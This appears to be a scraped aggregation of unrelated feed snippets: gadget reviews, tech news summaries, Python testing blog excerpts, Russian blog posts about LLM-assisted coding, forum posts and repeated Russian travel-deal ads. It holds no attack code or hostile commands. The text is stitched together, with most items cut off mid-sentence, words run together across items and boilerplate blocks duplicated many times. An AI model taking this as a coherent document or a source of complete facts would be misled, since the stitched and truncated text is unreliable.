Writer's choiceWhen comparing the Samsung Galaxy S26 to the S24, I'm leaning towards better savings over flashier features.

I've fallen in love with BMX power banks powered by solid-state batteries.

While a standard lithium-ion battery is good for around 500 recharge cycles, a solid-state battery is good for at least 1,000 before the capacity drops to the point the battery is considered end-of-life.

Adrian Kingsley-Hughes/ZDNETAnother thing I like about solid-state batteries is that they work much better in colder temperatures than regular lithium-ion batteries.

Those measurements are definitely on the hefty side for a magnetic power bank (it's a couple of ounces heavier than a standard power bank).

Also: Here's a portable power bank that's actually worth its high price - especially if you travelThere's a button…

Lexar TouchLock Portable SSD ZDNET's key takeaways A super-thin and super-light portable SSDInnovative NFC unlocking eliminates passcodes and biometricsNot the fastest SSD, but fast enough to handle 4K ProRes 60 fps video $104.99 at AmazonFollow ZDNET: Add us as a preferred source on Google.

I don't think that process can get any easier than tapping an SSD with your smartphone -- and this is exactly how the Lexar TouchLock Portable SSD works.

Also: I tested a solid-state portable battery for a week - now lithium-ion feels outdatedOut of the box, the TouchLock Portable SSD feels small and light.

That MagSafe ring gives you a big clue as to the typical use case for this storage drive -- a dri…

ZDNET's key takeawaysThe Flipper Zero is a versatile, beginner-friendly hacking tool.

Without doubt, my favorite gadget from the past few years has been the Flipper Zero -- a pocket-sized Swiss Army knife that grants its owner access to a digital world otherwise off-limits.

The built-in support for RFID, NFC, and sub-GHz made the Flipper Zero a convenient choice (but it did lack built-in Wi-Fi support).

Flipper Zero vs. Flipper OneAs much as it feels like the Flipper One would be an upgraded Flipper Zero, it feels more like a completely different device with a totally different audience.

Would I still keep my Flipper Zero?

ZDNET's key takeawaysDuckDuckGo's privacy-first chatbot is taking off.

Privacy concerns around chatbots are nothing new, but as AI adoption spreads, users are becoming increasingly aware of the risks.

A newer thread includes complaints about usage limits without mentioning the specifics of what keeps users coming back to the chatbot.

That said, Duck.ai advises users that their voice "can be a biometric identifier," which they should consider before trying the feature.

How to try Duck.aiYou can try Duck.ai yourself for free or $10 per month (or $100 per year, if paying annually), which gets you access to more advanced models.

The Prism Linux installer is one of the best I've ever used.

Try the Prism installer and see what you think.

Arch-based distro made easyThe Prism Linux installer makes installing this Arch-based distribution so easy that anyone, regardless of experience, can install Linux.

My chosen Prism Linux installation took less than 5 minutes to complete.

Grab an ISO of Prism Linux from the official download page.

I'm not sure who needs to hear this, but if you have a desktop PC in 2026, you're probably not using its M.2 slots to their fullest potential.

If it's from the last five to ten years, chances are you have unused M.2 slots that could be put to use with additional accessories.

To find out how many M.2 slots your motherboard has, identify its make and model.

Upgrade your Ethernet cardIf you have a desktop, you probably don't need the portability that Wi-Fi offers.

Of course, the most common device for your M.2 slots is an NVMe SSD for additional storage.

Review: The Polk Audio Atrium 5 speakers pair a sleek, minimalist design with full weatherproofing, delivering crisp, dynamic sound.

We gather data from the best available sources, including vendor and retailer listings as well as other relevant and independent reviews sites.

And we pore over customer reviews to find out what matters to real people who already own and use the products and services we’re assessing.

When you click through from our site to a retailer and buy a product or service, we may earn affiliate commissions.

Neither ZDNET nor the author are compensated for these independent reviews.

Our editors thoroughly review and fact-check every article to ensure that our content meets the highest standards.

We gather data from the best available sources, including vendor and retailer listings as well as other relevant and independent reviews sites.

And we pore over customer reviews to find out what matters to real people who already own and use the products and services we’re assessing.

When you click through from our site to a retailer and buy a product or service, we may earn affiliate commissions.

Neither ZDNET nor the author are compensated for these independent reviews.

Our editors thoroughly review and fact-check every article to ensure that our content meets the highest standards.

If you have already installed Project NOMAD, which stands for Node for Offline Media, Archives, and Data, and is a self-contained, offline "survival computer", then no need to worry.

With Project NOMAD up and running, you have everything you need to keep you informed.

How does Project NOMAD work?

I attempted to select AI Assistant, but it refused.

All in all, Project NOMAD impressed me.

Traveling soon? Scoop up these nifty gadgets ahead of your travels for less during the last days of Amazon's Spring Sale.

The primary isn’t until early June, but the CA-17 race between five-term incumbent Ro Khanna and tech founder Ethan Agarwal is already getting nasty. Agarwal entered the race in March, backed by a roster of prominent tech billionaires largely in response to Khanna’s public support for a proposed California ballot measure that would impose a […]

The collapse of the brand, which was originally venture-backed and that went public in 2021, has been well-documented.

LiteLLM had obtained two security compliance certifications via Delve and fell victim to some horrific credential-stealing malware last week.

A few things turned investors' heads and drew them to participate in such a big round out of the gate.

Your human manager may soon be a chatbot. Across organizations, AI is being used to replace layers of management in what some are calling "The Great Flattening."

AI adoption is rising in the U.S., but trust remains low, with most Americans concerned about transparency, regulation, and the technology’s broader societal impact, according to a new Quinnipiac poll.

Here's what we're looking for in your Startup Battlefield 200 application and how to make sure your application reflects it.

Shortly after Delve's founder published a lengthy denial of allegations, while promising changes, the accuser came forward with more alleged details.

Among the premium features on Instagram is the ability to view a Story without the poster seeing that you viewed it and the option to see how many people have rewatched your Story.

More than 125,000 Bluesky users have blocked Attie in just a few days, sending a strong message from the user base.

Demands for Apple customer records by federal agents in recent months underscore the privacy limitations of email.

It's a notable exit for Blacklane, which has raised more than $100 million from backers like Mercedes-Benz and Sixt.

Mantis takes disparate sources of data to make synthetic datasets that can be used to build so-called "digital twins" of the human body, representing anatomy, physiology and behavior.

ScaleOps just raised $130M to tackle GPU shortages and soaring AI cloud costs by automating infrastructure in real time.

An anonymous reader quotes a report from New Scientist: Andrea Marinoni at the University of Cambridge, UK, and his colleagues saw that the amount of energy needed to run a data centre had been steadily increasing of late and was likely to "explode" in the coming years, so wanted to quantify the impact. The researchers took satellite measurements of land surface temperatures over the past 20 years and cross-referenced them against the geographical coordinates of more than 8400 AI data centers. Recognizing that surface temperature could be affected by other factors, the researchers chose to focus their investigation on data centers located away from densely populated areas. They discovered t…

Microsoft is reportedly shifting Windows 11 app development back toward fully native apps. Rudy Huyn, a Partner Architect at Microsoft working on the Store and File Explorer, said in a post on X that he is building a new team to work on Windows apps. "You don't need prior experience with the platform.. what matters most is strong product thinking and a deep focus on the customer," he wrote. "If you've built great apps on any platform and care about crafting meaningful user experiences, I'd love to hear from you." Huyn later said in a reply on X that the new Windows 11 apps will be "100% native." TechSpot reports: The description stands out at a time when many of Microsoft's built-in tools, …

An anonymous reader quotes a report from Ars Technica: Last year, just before the Fourth of July holiday, the US Space Force officially took ownership of a new operating system for the GPS navigation network, raising hopes that one of the military's most troubled space programs might finally bear fruit. The GPS Next-Generation Operational Control System, or OCX, is designed for command and control of the military's constellation of more than 30 GPS satellites. It consists of software to handle new signals and jam-resistant capabilities of the latest generation of GPS satellites, GPS III, which started launching in 2018. The ground segment also includes two master control stations and upgrad…

Samsung is reportedly planning to roll out AirDrop-style file sharing for older Galaxy phones via a Quick Share update. Early reports suggest the feature is appearing on devices from the Galaxy S22 through the S25, though it is not actually working yet. Android Central reports: As spotted by Reddit users (via Tarun Vats on X), a Quick Share app update is rolling out via the Galaxy Store on older Samsung devices that appears to add support for AirDrop file sharing with Apple devices. Users report seeing the same new "Share with Apple devices" section we first saw on Galaxy S26 devices in the Settings app after updating Quick Share. The update is reportedly showing up on Galaxy models ranging…

OkCupid and parent company Match Group settled an FTC case dating back to 2014 over allegations that the dating app shared users' photos and other personal data with a third party without proper disclosure or opt-out rights. Engadget reports: According to the FTC, OkCupid's privacy policy at the time noted that the company wouldn't share a user's personal information with others, except for some cases including "service providers, business partners, other entities within its family of businesses." However, the lawsuit accused OkCupid of sharing three million photos of its users to Clarifai, which the FTC claims is a "unrelated third party" that didn't fall under the allowed entities. On top…

fjo3 shares a report from France 24: Too many lines of code to analyze, armies of AI assistants to wrangle, and lengthy prompts to draft are among the laments by hard-core AI adopters. Consultants at Boston Consulting Group (BCG) have dubbed the phenomenon "AI brain fry," a state of mental exhaustion stemming "from the excessive use or supervision of artificial intelligence tools, pushed beyond our cognitive limits." The rise of AI agents that tend to computer tasks on demand has put users in the position of managing smart, fast digital workers rather than having to grind through jobs themselves. "It's a brand-new kind of cognitive load," said Ben Wigler, co-founder of the start-up LoveMind…

An anonymous reader quotes a report from TorrentFreak: In an effort to gather material for its LLM training, Meta used BitTorrent to download pirated books from Anna's Archive and other shadow libraries. According to several authors, Meta facilitated the infringement of others by "seeding" these torrents. This week, the court granted the authors permission to add these claims to their complaint, despite openly scolding their counsel for "lame excuses" and "Meta bashing." [...] The judge acknowledged that the contributory infringement claim could and should have been added back in November 2024, when the authors amended their complaint to include the distribution claim. After all, both claim…

Microsoft Copilot is reportedly injecting promotional "tips" into GitHub pull requests, with Neowin claiming more than 1.5 million PRs have been affected by messages advertising integrations like Raycast, Slack, Teams, and various IDEs. From the report: According to Melbourne-based software developer Zach Manson, a team member used the AI to fix a simple typo in a pull request. Copilot did the job, but it also took the liberty of editing the PR's description to include this message: "Quickly spin up Copilot coding agent tasks from anywhere on your macOS or Windows machine with Raycast." A quick search of that phrase on GitHub shows that the same promotional text appears in over 11,000 pull …

For the "foreseeable future," Sony says it has stopped accepting new orders for most of its CFexpress and SD memory card lines due to the an ongoing memory supply shortage. "Due to the global shortage of semiconductors (memory) and other factors, it is anticipated that supply will not be able to meet demand for CFexpress memory cards and SD memory cards for the foreseeable future," the company said in a notice. "Therefore, we have decided to temporarily suspend the acceptance of orders from our authorized dealers and from customers at the Sony Store from March 27, 2026 onwards. PetaPixel reports: The suspension includes all of Sony's memory card lines, including CFexpress Type A, CFexpress …

An anonymous reader quotes a report from the BBC: Sweeping job cuts at Big Tech companies have become an annual tradition. How executives explain those decisions, however, has changed. Out are buzzwords like efficiency, over-hiring, and too many management layers. Today, all explanations stem from artificial intelligence (AI). In recent weeks, giants including Google, Amazon, Meta, as well as smaller firms such as Pinterest and Atlassian, have all announced or warned of plans to shrink their workforce, pointing to developments in AI that they say are allowing their firms to do more with fewer people. [...] But explaining cuts by pointing to advances in AI sounds better than citing cost pres…

Their goal is to use biometric data and blockchain to build age-verification measures directly into disposable vape cartridges. Wired reports on a partnership between vape/cartridge manufacturer Ispire Technology and regulatory consulting company Chemular (which specializes in the nicotine market) — which they've named "Ike Tech": [Using blockchain-based security, the e-cig cartridge] would use a camera to scan some form of ID and then also take a video of the user's face. Once it verifies your identity and determines you're old enough to vape, it translates that information into anonymized tokens. That info goes to an identity service like ID.me or Clear. If approved, it bounces back to th…

Apple's 50th anniversary is this week — and Fast Company's Harry McCracken just published an 11,000-word oral history with some fun stories from Apple's earliest days and the long and winding road to its very first home computers: Steve Wozniak, cofounder, Apple: I told my dad when I was in high school, "I'm going to own a computer someday." My dad said, "It costs as much as a house." And I sat there at the table — I remember right where we were sitting — and I said, "I'll live in an apartment." I was going to have a computer if it was ever possible. I didn't need a house. Woz even remembers trying to build a home computer early on with a teenaged Steve Jobs and Bill Fernandez from rejected…

The Wall Street Journal reports that Rivian "just won a yearslong battle with car dealers in Washington state that threatens the model of how cars are sold." After fighting to sell its vehicles directly to buyers, Rivian threatened to take its case to voters with a ballot measure to permit direct sales. The dealers blinked. The state's dealer lobby not only dropped its opposition to a sales loophole for Rivian and rival EV-maker Lucid, but also encouraged lawmakers to approve one. The measure became law this month... New auto entrants like Rivian, and Tesla before it, have spent years contending with long-established U.S. state laws that require new cars to be sold through independent franc…

Yes, this week YouTube and Meta were found negligent in a landmark case about social media addiction. But "it's still far from certain what this defeat will change," argues The Verge's senior tech and policy editor, "and what the collateral damage could be." If these decisions survive appeal — which isn't certain — the direct outcome would be multimillion-dollar penalties. Depending on the outcome of several more "bellwether" cases in Los Angeles, a much larger group settlement could be reached down the road... For many activists, the overall goal is to make clear that lawsuits will keep piling up if companies don't change their business practices... The best-case outcome of all this has be…

Human.json is a new

idea for asserting that a site is authored by a person, and for vouching for

other sites’ authorship. I’ve added one to this site.It’s a fun idea, and I’ve joined in, but to be honest, I have some concerns.

When I made my human.json file, I looked through my browser history, and saw a

number of sites that were clearly personal sites that I liked. But if I list

one, am I claiming to know that there is no AI content on that site? I can’t

know that for sure.I haven’t let this stop me from adding my own

/human.json, and I’ll be interested to see what

comes of it.Human.json isn’t a new idea. There have been a number of attempts to add

structured data to web pages:

tags are a…

Agents are fundamentally changing the shape of demand for compute, both in terms of how they work and in terms of who will use them. They're so compelling that I no longer believe we're in a bubble.

Anthropic is in a standoff with the Department of War; while the company's concerns are legitimate, it position is intolerable and misaligned with reality.

Pytest’s parametrize is a great feature for writing tests without repeating

yourself needlessly. (If you haven’t seen it before, read

Starting with pytest’s parametrize first).

When the data gets complex, it can help to use functions to build the

data parameters.I’ve been working on a project

involving multi-line data, and the parameterized test data was getting

awkward to create and maintain. I created helper functions to make it nicer.

The actual project is a bit gnarly, so I’ll use a simpler example to

demonstrate.Here’s a function that takes a multi-line string and returns two numbers,

the lengths of the shortest and longest non-blank lines:def non_blanks(text: str) -> tuple[int, int]: …

Игра, чтобы выучить свой район

Как ведь бывает, переехал в новый район, а там все улицы незнакомые. Как вот их учить?

Сделал игру: Случайный положительный эффект: можно легко сравнить масштаб городов, понять, что Садовое в Москве — это от Фонтанки с заходом на начало Васьки и Петроградки.

Thick clients were the dominant form of device throughout the PC and mobile era; in an AI world, however, thin clients make much more sense.

I have a new small project: edtext provides text

selection and manipulation functions inspired by the classic ed

text editor.I’ve long used cog to build documentation and HTML

presentations. Cog interpolates text from elsewhere, like source code or

execution output. Often I don’t want the full source file or all of the lines of

output. I want to be able to choose the lines, and sometimes I need to tweak the

lines with a regex to get the results I want.Long ago I wrote my own ad-hoc function to include a

file and over the years it had grown “organically”, to use a positive word. It

had become baroque and confusing. Worse, it still didn’t do all the things I

needed.The old function has 16 arg…

Microsoft got hammered on Wall Street for capacity allocation decisions that were the right ones: the software that wins will use AI to usurp other software.

Давным давно я как-то работал в Крупной Немецкой Компании. Хороший добротный IT-корпорат, всё как по книжке, со своими плюсами-минусами, многим такое нравится.

If hyperscalers and chip companies don't build up a TSMC competitor they are set to forego billions of dollars in revenue and stunt the AI revolution.

На пост меня натолкнула рабочая ситуация: Я написал (будем честны, попросил ллм написать) один скрипт, и некоторые коллеги прореагировали «о, давно о таком мечтаю». И у меня в голове щелкнуло.

Когда я сейчас написал про один промт, я не утрировал, это был реально один промт.

Сейчас простые задачи решаются ллмками достаточно хорошо. Ядро линукса они все еще не напишут, но пропарсить все ресурсные файлы проекта, сгруппировать одинаковые строчки и дать к ним мгновенный поиск — это задача на один промт. И все, что удерживает людей сейчас, от того, что некоторая часть их задач начнет быть проще — рефлексия. Все что нужно — остановиться, и заметить момент «ага, я тут хочу упрощение, которое возмо…

Two testing-related things I found recently.Unified exception testingKacper Borucki blogged about parameterizing exception

testing, and linked to pytest docs and a

StackOverflow answer with similar approaches.The common way to test exceptions is to use

pytest.raises as a context manager, and have

separate tests for the cases that succeed and those that fail. Instead, this

approach lets you unify them.I tweaked it to this, which I think reads nicely:from contextlib import nullcontext as produces import pytest

from pytest import raises @pytest.mark.parametrize( "example_input, result", [ (3, produces(2)), (2, produces(3)), (1, produces(6)), (0, raises(ZeroDivisionError)), ("Hello", raises(Typ…

Я задал один и тот же промт нескольким моделям и вот что вышло

Промт

Прочитай @/llm/PRD.md и сверстай статическую html-страницу about. Укажи в ней все преимущества, придумай как их проиллюстрировать, используй модный современный дизайн Сохрани в файл about-page/{model-name}.html Ориентируйся только на prd, не используй about-страницу.Эксперимент проведен в декабре 2025-январе 2026. Использовался openrouter или облака ллммок. В скриншотах могут быть небольшие артефакты, скриншоты снимал плейрайт, он не умеет в стики-позиции.

Для сравнения дизайн кожаного мешка (меня): https://recipe-scaler.ru/#/about

Gemini 3 pro Grok code fast 1 Minimax 2.1 Minimax 2.1 Minimax 2.1 Minimax 2.1

Тут я просил ш…

Клод код (Claude Code) заботится обо мне и показывает команды на согласования, к сожалению, он делает это без уважения плохо.

Посмотрите на этот апрув: Выполняет трехстрочную шелл-команду с вложенными конструкциями: циклы, условия. Если там где-то будет какая-то ошибка, я её просто не замечу.

Я не специально выбирал, что скриншотить, они все такие: У меня остается два варианта: Как мартышка жать и жать на кнопку «Approve». В итоге вырабатывается привычка, которая не даст мне себя защититить в опасной ситуации. См. принцип «подтверждения не работают».

Один раз апрувнуть тоже не выйдет, потому что эта конкретная трехэтажная команда вряд ли когда-нибудь появится.

Согласитья на YOLO (You Only L…

На новогодние праздники вышли два больших апдейта recipe-scaler

Первый апдейт — публичный профиль и коллекции

Сейчас можно шарить не только рецепты как одну штуку, но и всю коллекцию.

Или выборочно, или прибранные рецепты (с рецептом и фоткой), или вообще все-все-все

https://recipe-scaler.ru/#/public/@/mike.ozornin Интеграция с ИИ-иссистентом

Можно через MCP подключиться к своему ассистенту. У кого-то клод, у кого-то курсор. Пока подглючивает чуток. Но смотрите, какая красота:

The first live sporting event was broadcast in the Vision Pro, and it's a big disappointment. The experience could be amazing, but Apple actively ruins it.

Делал большую фичу, попросил ревью у ИИ. Попросил найти важные моменты во всех областях: безопасность, логика, деплой, производительность и прочее, и прочее.

Опус 4.5 (лучшая на сейчас ЛЛМ в мире) написал: Критикал sql-инъекция. Как оказалось: пользователь сам себе после всех входов и разрешений на свой же запрос получит чуть больше своих же результатов. Опус не написал: Конфиг nginx забыли поправить и ничего не будет работать в целом.

Сервис-воркер (фоновый код в браузерном приложении) блокировал работу новой вещи, перехватывая все обращения на себя.

Кеширование oauth-запросов было настроено некорректно.

Часовые пояса неправильные, посему токен не имел шансов подойти.

Некоторые адреса обра…

AI might replace all of the jobs; that's only a problem if you think that humans will care, but if they care, they will create new jobs.

This morning I shared a link to this site, and the recipient said, “it looks

like a file.” I thought they meant the page was all black and white with no

color. No, they were talking about the URL, which ended with “.html”.This site started almost 24 years ago as

a static site: a pile of .html files created on my machine and uploaded to the

server. The URLs naturally had .html extensions. It was common in web sites of

the time.Over the years, the technology has changed. In 2008, it was still a static

site on the host, but produced with

Django running locally. In 2021, it became a

real Django site on the host.Through all these changes, the URLs remained the same—they still had

the old-fashion…

In my last blog post (A testing conundrum), I described

trying to test my Hasher class which hashes nested data. I couldn’t get

Hypothesis to generate usable data for my test. I wanted to assert that two

equal data items would hash equally, but Hypothesis was finding pairs like

[0] and [False]. These are equal but hash differently because the

hash takes the types into account.In the blog post I said,If I had a schema for the data I would be comparing, I could use it to

steer Hypothesis to generate realistic data. But I don’t have that

schema...I don’t want a fixed schema for the data Hasher would accept, but tests to

compare data generated from the same schema. It shouldn’t compare a list o…

In my last blog post (A testing conundrum), I described

trying to test my Hasher class which hashes nested data. I couldn’t get

Hypothesis to generate usable data for my test. I wanted to assert that two

equal data items would hash equally, but Hypothesis was finding pairs like

[0] and [False]. These are equal but hash differently because the

hash takes the types into account.In the blog post I said,If I had a schema for the data I would be comparing, I could use it to

steer Hypothesis to generate realistic data. But I don’t have that

schema...I don’t want a fixed schema for the data Hasher would accept, but tests to

compare data generated from the same schema. It shouldn’t compare a list o…

The most popular and most important posts on Stratechery in 2025.

In coverage.py, I have a class for computing the fingerprint of a data

structure. It’s used to avoid doing duplicate work when re-processing the same

data won’t add to the outcome. It’s designed to work for nested data, and to

canonicalize things like set ordering. The slightly simplified code looks like

this:class Hasher: """Hashes Python data for fingerprinting.""" def __init__(self) -> None: self.hash = hashlib.new("sha3_256") def update(self, v: Any) -> None: """Add `v` to the hash, recursively if needed.""" self.hash.update(str(type(v)).encode("utf-8")) match v: case None: pass case str(): self.hash.update(v.encode("utf-8")) case bytes(): self.hash.update(v) case int() | float(): self.…

Update: I found a solution which I describe in

Generating data shapes with Hypothesis.In coverage.py, I have a class for computing the fingerprint of a data

structure. It’s used to avoid doing duplicate work when re-processing the same

data won’t add to the outcome. It’s designed to work for nested data, and to

canonicalize things like set ordering. The slightly simplified code looks like

this:class Hasher: """Hashes Python data for fingerprinting.""" def __init__(self) -> None: self.hash = hashlib.new("sha3_256") def update(self, v: Any) -> None: """Add `v` to the hash, recursively if needed.""" self.hash.update(str(type(v)).encode("utf-8")) match v: case None: pass case str(): self.hash.u…

2024, 2023, 2022, 2021, 2020, 2019, 2018, 2017, 2016, 2015, 2014, 2013, 2012, 2011, 2010, 2009, 2008 Нет, Дядя Вострек, не умеешь ты хайпить. Надо было больше пиздеть и меньше делать, а ты наоборот начал — много делаешь и мало пиздишь. А это прямой путь к выгоранию и забвению одновременно...

Необычный год вышел, мда. Я потерял работу и так и не смог найти новую ? или не смог найти сил опять танцевать бинарные деревья на интервью? . Навайбкодил несколько проектов, на некоторые из которых потр…

Netflix is driving the Hollywood end game, likely confident it can increase the value of IP, and fend off YouTube.

Осознал недавно, чем вайб-кодинг в его классическом виде похож на лудоманию и при чем тут дофамин

Что за вайб-кодинг такой

Давайте сначала начнем с определений. Не каждая разработка с ллмкой — вайб-кодинг, но каждый вайб-кодинг — разработка с помощью ллмки.

Вайб-кодингом я буду называть программирование с помощью ллмки, в котором есть вот такие характеристики: Мало изначального планирования. Буквально короткое описание, вкинутое в ллмку и потом разберемся походу.

Попытка сразу попасть в нужную конечную точку. Желательно за одну итерацию.

Значительная часть кода написана ллмкой. Человек в целом не читает весь код, не проверяет его, только смотрит на результат. Архитектура придумана тоже ллмк…

OpenAI and Nvidia are both under threat from Google; I like OpenAI's chances best, but they need an advertising model to beat Google as an Aggregator.

В сайд-бай-сайде вышла следующая версия

Изменения: Человекочитаемые URL для голосований

Было: /v/06b95c10-7688-4106-8e75-762035290c67/

Стало: /v/HairyParrotsPursueRudely/ Улучшение интеграции с Mattermost:

Сайд-бай-сайд сгенерирует превьюшки к уведомлениям в чате.

По окончании голосованию в чате будет итог голосования. Было: Стало: Мелочи: Кликабельные ссылки в описаниях. Ссылки в комментарии станут кликабельными.

На странице голосования теперь тоже показывается количество проголосовавших.

На странице голосований можно прокручивать картинки перетаскиванием мыши

Белый список доменов эл. почты. Можно указать домены, вход с которых будет разрешен.

Драг-н-дропать файлы можно на всю страницу, да…

dynamodA Linux init system built from scratch in Zig and Rust.

It combines a minimal, crash-proof PID 1 with a powerful service manager inspired by Erlang/OTP's supervisor trees.

dynamodctl Rust CLI tool.

dynamodctl start nginx , dynamodctl tree , dynamodctl shutdown reboot .

Define a service:# /etc/dynamod/services/myapp.toml [ service ] name = " myapp " exec = [ " /usr/bin/myapp " , " --port " , " 8080 " ] [ restart ] policy = " permanent " delay = " 2s " [ readiness ] type = " tcp-port " port = 8080 [ dependencies ] requires = [ " network " ]2.

I built this for people who value minimal designs. Comments URL: https://news.ycombinator.com/item?id=47583850

Points: 1

# Comments: 0

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I hate advertisement, algoritms, bots, spam, people posting just for likes and reach. I'm sick of it. And because I follow the principles of law of assumption, my social media is targeted for the same people. There is no ads, no algoritms and all that, I want this to be a space, I myself enjoy. Every social media is free, because they target paid ads for income, which does not gives a user experience they want. While I offer free option, a 3e a month, I feel is a small amount, that's worthy, when there's no advertisment, and algoritms that push you content you dont want. Because this is focuses mainly on LOA, I know most people wont sign up, and that's okay. I do not aim to have as much use…

It's so crazy, just one week ago I was celebrating 1,500 users and now I have hit 1,700 users in basically no time at all! I can't thank everyone enough. I really mean it, so many people were offering their help along the way. Of course I will not stop here and I am already working on the next big update for the platform which will benefit all the community. More is coming soon. I've built IndieAppCircle, a platform where small app developers can upload their apps and other people can give them feedback in exchange for credits. I grew it by posting about it here on Reddit. It didn't explode or something but I managed to get some slow but steady growth. For those of you who never heard about…

Hey everyone! I recently shared a post about IndieEvent, a free app I built to help people connect in cities they've never been to. Today, it's live on Product Hunt 🚀 I'd really appreciate it if you could take a minute to support this free tool. I truly believe it can improve the lives of solo makers. Thanks 🙏 submitted by /u/Natural_Guess_1448 [link] [comments]

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У авиакомпании SalamAir промо-тариф: улететь из Маската в Найроби (или наоборот) можно от 6200 рублей (30 OMR). Для въезда в Кению нужно заранее оформить электронное разрешение (сбор около 30-35 USD с человека). Купить билеты можно на сайте авиакомпании или через trip.com / aviasales.ru (тут немного дороже, но зато принимают российские карты). Маскат — Найроби в декабре за 6200 рублей: Российской картой: […]

Авиакомпания Volotea выкатила билеты за 19 евро. Но можно легко оформить пробную подписку SUPERVOLOTEA на 15 дней и купить их за 9 евро. Обычно подписка на год стоит 60 евро. Лоукостер утверждает, что Вы можете отменить членство в любой момент, но потеряете при этом некоторые привилегии, например, ручную кладь, но сохраните свою скидку на проезд. Главное, не забудьте […]

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

с 2012 года мы ищем и находим дешевые авиабилеты, отели, туры и круизы.

А вы путешествуете почти бесплатно.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

А вы путешествуете почти бесплатно.

Прямо сейчас, пока вы читали этот блок, мы нашли ещё несколько билетов, а кто-то их купил.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

с 2012 года мы ищем и находим дешевые авиабилеты, отели, туры и круизы.

А вы путешествуете почти бесплатно.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

с 2012 года мы ищем и находим дешевые авиабилеты, отели, туры и круизы.

А вы путешествуете почти бесплатно.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

А вы путешествуете почти бесплатно.

Прямо сейчас, пока вы читали этот блок, мы нашли ещё несколько билетов, а кто-то их купил.

Сегодня мы решили слепить готовое путешествие из Казани в Индонезию — вышло от 47200 рублей с человека при поездке вдвоем.

Авиакомпания Etihad Airways предлагает билеты из Казани на Бали за 44000 рублей туда-обратно.

Даты полетов: например, 11-24 декабря (проживание с 12 по 24 декабря).

Все варианты на двоих на 12 ночей (рейтинг — выше 7/10)Не забываем настроить сортировку:— самая низкая цена (с учётом налога)— итого (в т.ч.

Первый отель — 3200 рублей на человека / 6400 рублей на двоих:Второй отель — 4700 рублей на человека / 9400 рублей на двоих:Третий отель — 5300 рублей на человека / 10600 рублей на двоих:Другие даты перелетов:4-17 декабря7-22 декабря

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

А вы путешествуете почти бесплатно.

Прямо сейчас, пока вы читали этот блок, мы нашли ещё несколько билетов, а кто-то их купил.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

с 2012 года мы ищем и находим дешевые авиабилеты, отели, туры и круизы.

А вы путешествуете почти бесплатно.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

А вы путешествуете почти бесплатно.

Прямо сейчас, пока вы читали этот блок, мы нашли ещё несколько билетов, а кто-то их купил.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

А вы путешествуете почти бесплатно.

Прямо сейчас, пока вы читали этот блок, мы нашли ещё несколько билетов, а кто-то их купил.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

А вы путешествуете почти бесплатно.

Прямо сейчас, пока вы читали этот блок, мы нашли ещё несколько билетов, а кто-то их купил.

Азербайджанские Авиалинии снизили цены ноябрь-март: взять из Москвы, Питера и Екб в ОАЭ, Израиль, Таджикистан, Саудовскую Аравию, Индию и на Мальдивы можно со скидками.

Билеты берем через сервис aviasales.ru (тут дешевле всего).

Москва — Душанбе — Москва:Москва — Даммам — Москва:Москва — Дубай — Москва:Москва — Тель-Авив — Москва:Москва — Дели — Москва:Москва — Мумбаи — Москва:Москва — Мале — Москва в ноябре:Москва — Мале — Москва в январе:Москва — Мале — Москва в феврале:Москва — Мале — Москва в марте:Питер — Душанбе — Питер:Питер — Даммам — Питер:Питер — Дубай — Питер:Питер — Тель-Авив — Питер:Питер — Дели — Питер:Питер — Мумбаи — Питер:Питер — Мале — Питер в ноябре-декабре:Питер — Мале —…

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

А вы путешествуете почти бесплатно.

Прямо сейчас, пока вы читали этот блок, мы нашли ещё несколько билетов, а кто-то их купил.

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Copenhagen-based Financial News Systems (FNS), an AI-only financial newsroom, has raised a €1.5 million pre-Seed round to accelerate the development of their financial news and data service.

The round welcomed Ugly Duckling Ventures as a major investor.

Taken together, those adjacent rounds amount to about €92.5 million, or roughly €94 million including FNS, indicating sustained investor interest in AI-led financial intelligence, analytics and operating infrastructure rather than only consumer FinTech.

“Financial News Systems combines raw speed with intelligent automation to deliver a service that creates an ongoing edge for investment professionals.

Sulugiuc and FNS co-founder and CTO Nico…

Midas, a German platform for composable onchain investment products, has raised €43 million ($50 million) in Series A funding fund the development and launch of MSL (Midas Staked Liquidity) as part of an Open liquidity Architecture that powers instant redemptions across all onchain investment products.

Midas is building the infrastructure for tokenised capital markets and we are proud to be on this ride with them,” says Vic Singh, General Partner, RRE Ventures.

Founded in 2023, Midas is a platform for composable onchain investment products.

“The opportunity to bring institutional-grade investment products onchain is massive, and Midas has the regulatory set-up, the technical architecture, a…

